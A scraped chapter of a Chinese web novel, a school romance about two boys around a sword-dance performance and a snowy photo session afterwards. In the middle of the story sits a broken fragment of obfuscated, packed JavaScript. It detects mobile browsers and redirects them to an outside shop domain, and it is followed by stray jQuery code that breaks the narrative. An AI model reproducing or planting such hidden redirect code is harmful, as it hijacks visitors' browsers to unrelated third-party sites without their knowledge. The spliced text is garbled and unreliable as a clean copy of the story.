说完，许知汀松开了手。
语带调侃:“学神，对自己有点自信。”说完，不等谢星熠反应，猛地拉开了休息室的门。
光线重新变得亮堂。
谢星熠站在原地沉默良久，等许知汀回头叫他，才拔腿跟上。
工作人员在跟谢星熠对最后一次灯光。
许知汀甩了甩被握得有点酸痛的手，站在旁边等，本来想偷摸拍一下，结果正好被挡了个严严实实。
只能遗憾收手。
杨艺做完了装造，偷偷摸摸过来，小声地说:“我本来想去接你的。”
“然后？”许知汀挑眉。
“见鬼了。”杨艺说到这个还心有余悸，“我正想出去，学神就直接问我是不是去接许知汀，我都吓懵了。”
“我啥也没说他怎么知道的！”
“……”许知汀难得没搭腔，掏出手机问，“还有拍别的吗？”
“有有有！”杨艺立刻掏出手机，“后面我又拍了一点还没来得及发给你。”
杨艺哐哐哐往对话框里面甩照片，许知汀忙着保存，谁也没注意到谢星熠站在他们面前许久。
一直到许知汀把全部都保存完，他才出声:“弄好了？”
许知汀和杨艺双双一惊。
许知汀:他走路真没声音吧？
杨艺:我要怀疑学神是真的神了！
两人的眼神交流落在谢星熠眼里，刚哄好的情绪隐隐又有了下沉的趋势。
杨艺首先扛不住，飞快地跑走了。
谢星熠有一搭没一搭地握着剑柄，漫不经心地问:“刚刚在干什么。”
事情已经败露，许知汀没有隐瞒的必要，直截了当地说:“我让她给我发的你的照片。”
谢星熠脸色稍霁。
许知汀真诚地问:“你要吗？”
谢星熠不答反问:“你想要我的照片，可以直接拍。”
说完，他稍稍站直了身子。
周围人来人往，还有不少人时不时看他们两眼，许知汀顿了一下，没好意思拍。
他含糊道:“等你表演结束，我们找个人少的地方？”
“嗯。”谢星熠从怀里掏出一样东西放在许知汀手心:“帮我戴。”
熟悉的红色流苏映入眼帘。
“你要戴这个？”许知汀惊讶，“表演的时候不会掉吗？”
“嗯。”谢星熠又往他手里放了东西，侧过身，又微微低下头，“你帮我固定。”
这次放的是一卷胶带。
“行，为学神服务是我的荣幸。”
指尖划过耳廓，气息散落在敏感的耳垂上，谢星熠定了定神，才勉强稳住身形。
幸好许知汀的动作够快。
“好了。”
许知汀拍拍手，红色的流苏耳挂在黑发黑衣中间点缀得刚刚好，像雪中的红梅，他的眼神一直随着飘摇的红色一起晃荡。
该死，更好看了。
“谢谢。”
谢星熠故意将抬头的幅度弄大了一些，不断吸引着许知汀的注意力。
就这样一直注视我一个人就好。
两人在后台的照片在顷刻间传满了整个论坛。
＃卧槽有生之年我还能看到xxy再穿这套衣服啊，帅炸了！
＃xzt亲自给他戴耳挂！kswl
＃没有人注意到他腰间别的剑吗，这真的不是古代反穿越回来的吗？
……
如此种种，还有各种谢星熠的照片满天飞，许知汀无视那些标题，又心满意足地挑好看的保存了一轮。
谢星熠的节目排在前面，许知汀只陪谢星熠在后台站了会儿，就快要到他的节目了。
陈应提前帮他占好了最佳位置。
“谢星熠是天上的明月，山巅的白雪，附中永远的男神。”
陈应故意在许知汀回来的时候念论坛上的彩虹屁，毫无意外地遭受了许知汀的一顿暴打。
“都是什么乱七八糟的。”
陈应笑得很无辜:“给你念论坛上的内容啊，采访一下，看你老公被夸的天上有地下无的，身为家属你什么反应？”
“噗。”
许知汀刚喝进去的一口奶茶差点喷出来，呛得直咳嗽，旁边的程妤书连忙给他递纸巾，还给他拍背顺顺气。
自从陈应说服了自己接受谢星熠后，放飞自我的程度连许知汀都自叹不如。
陈应理不直气也壮:“反正现在不是以后也是。”
说到这许知汀就有点郁闷:“……都还没在一起，你乱说什么。”
陈应大惊:“汀崽，你的魅力竟然下降至此吗？”
程妤书三人也朝许知汀投来震惊的目光。
徐晴希:“我以为上次英雄救帅哥以后，你就感动得以身相许了。”
许知汀:他许了，谢星熠不要啊。
程妤书:“他是不是在钓着你胃口，把你当备胎？”
许知汀:他连我看别人一眼都要不开心你说这叫备胎？
白瑾:“汀哥！你不会不行吧！”
许知汀:……
许知汀没招了，这些人的脑补能力真的可怕，偏生他还一句都没办法解释。
“你们小点声，这很光彩吗？”许知汀示意他们闭嘴，越想越气，最后把这笔账通通都记在谢星熠头上。
等以后他们在一起了，一定跟谢星熠算总账。
“……尽显少年意气，接下来有请高二八班的谢星熠同学为我们带来节目《剑》。”
台上主持人的话音刚落，欢呼声就几乎要把这个大礼堂的屋顶掀翻。
在呐喊声中，许知汀紧张地扭头问程妤书:“都准备好了吗？”
程妤书早已架稳相机并填好参数，大声道:“报告组织，保证完成任务！”
礼堂的灯光被全部关闭。
下一秒台上的追光灯亮起，谢星熠垂眸立剑站在场中间，恍若神祇。
时隔许多年，许知汀也没有办法用语言去形容那一幕，衣袂翻飞，剑光凛冽，一招一式之间都轻巧，红色的流苏耳挂十分给面子地没有坠落，成了极好的点缀。
许知汀无意识攥紧了座椅扶手。
真正亲眼看见以后，他才算是明白为什么谢星熠说在天台的作不得数，那天在武馆给他看的也不过是冰山一角。
欢呼声和掌声一浪高过一浪，甚至程妤书都在激动地大声喝彩，只有许知汀死死钉在椅子上，和周围格格不入。
他的视线一瞬不瞬地追随着舞台上发光的人。
这就是他喜欢的人，真好。
＊
谢星熠的表演直接引爆了论坛。
后台的人好几个都拉着谢星熠想合照，都被礼貌拒绝。
他随手扯过旁边的外套，走出了礼堂外。
刚推开门，一阵夹着雪粒的寒风扑面而来，谢星熠刚刚剧烈运动完，身上的热气还没有下去，倒也没有觉得冷。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17960248|213505||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>他走了一小段路，果然在大礼堂后门的树下看见了冷得搓手的许知汀。
谢星熠皱了皱眉，快速走过去，捉住他冰凉的手塞进衣服口袋里:“一定要在外面见面？”
许知汀受了陈应影响，张口就来:“大礼堂人多，不方便我们偷情啊熠哥。”
谢星熠:“……”
他别过头转移话题:“刚刚，还满意吗？”
“什么刚刚？”许知汀故意装作听不懂，胡扯八扯，“我还没给你拍照呢，哪有什么满意不满意。”
谢星熠不说话了。
许知汀乐了一会儿，才将手从兜里掏出来，掰过谢星熠的脸，强迫他看向自己。
他失神的时候想了很久。
无欲无求的谢星熠为什么会这么想表现自己，为什么一定要练得这么认真。
清晰的答案在他心里成型。
许知汀的手带着一丝暖意，他问:“剑舞是跳给我看的，是不是？”
“……嗯。”谢星熠没有挣扎，任由他对自己的脸揉捏。
“那很好了。”许知汀慢慢地笑开，指尖从谢星熠脸上移开，又掀开外套，拉着他的手贴上自己的胸口。
“感受到了吗？我的心跳因为你变得很快。”
礼堂里的音乐震天响，穿过一层厚厚的墙，再到他们这里时像是隔了水雾，听不太真切。
像是一切都离他们远去，茫茫世界只剩下他们两个人。
掌下的心脏在有力跳动，一声又一声，像是在谢星熠的耳边鼓噪。
有什么再也控制不住的东西呼之欲出。
谢星熠猛地撤回手。
雪落在肩头，在许知汀期盼的眼神中，谢星熠说:“该拍照了。”
“……”许知汀无语，但还是认命地掏出手机，“行行行，拍拍拍。”
谢星熠将外套脱下，让许知汀抱着，然后找了一块不那么滑的空地。
许知汀举起手机，正等着谢星熠摆好姿势，没想到谢星熠竟然动了起来。
跟台上的那套动作一模一样。
只不过减去了复杂的身影变换，动作变得很慢，却依旧有气势。
随手一拍都是论坛上说的神图的程度。
许知汀机械地按着拍照键，恍惚间，现在的谢星熠仿佛和天台的那个他重叠在一起。
这样的谢星熠，只有许知汀一个人能看到。
小雪依旧在下。
谢星熠收完最后一个动作，流苏耳挂在动作飞扬间松动，在空中划出一道完美的弧线，许知汀下意识地摊开掌心，正正好坠落在了许知汀的掌心里。
红色的流苏还在掌心外晃荡。
两人皆是一愣。
“你说，这像不像绣球抛到我手里了？”许知汀率先反应过来，握紧，隔着一段距离问，“熠哥，都到这份上了，你不打算跟我说点什么？”
谢星熠抿唇。
许知汀等了几秒，叹了一口气:“没有就没有吧。”
他走上前，将衣服递给他:“走吧，我们回去。”
“嗯。”
回到大礼堂，许知汀在换衣间外面等他。
谢星熠隐忍又克制的表情犹在眼前，许知汀想，还是先解决他家里的事情。
等谢星熠这个闷葫芦开口还不知道猴年马月，明天放假，他得想办法去谢星熠家里看看。
打定主意，许知汀想也不想地推开门:“谢星熠！明天放……你身上的伤，怎么回事？”